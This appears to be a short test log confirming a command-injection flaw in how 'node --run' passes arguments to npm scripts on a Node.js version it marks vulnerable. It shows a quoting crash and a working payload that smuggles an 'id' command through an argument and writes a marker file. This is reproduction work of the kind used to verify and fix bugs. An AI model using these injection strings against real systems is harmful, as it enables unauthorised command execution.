=== Preliminary evidence: system Node.js v24.18.0 (vulnerable) ===
=== npm script: "showargs": "echo" ===

=== TEST A: DoS — benign single quote ===
$ node --run showargs -- "I think therefore I'm"
/bin/sh: 1: Syntax error: Unterminated quoted string
exit=1

=== TEST B: Command injection — # comment technique ===
$ node --run showargs -- "x';id > MARKER;echo INJECTION_PROVEN #"
x\
id: cannot find name for group ID 969
INJECTION_PROVEN
exit=0
--- marker file created ---
marker contents: uid=1000(vscode) gid=1000(vscode) groups=1000(vscode),969(969)

=== TEST C: Ticket's exact payload ===
$ node --run showargs -- "foo' ; id ; '"
/bin/sh: 1: Syntax error: Unterminated quoted string
exit=1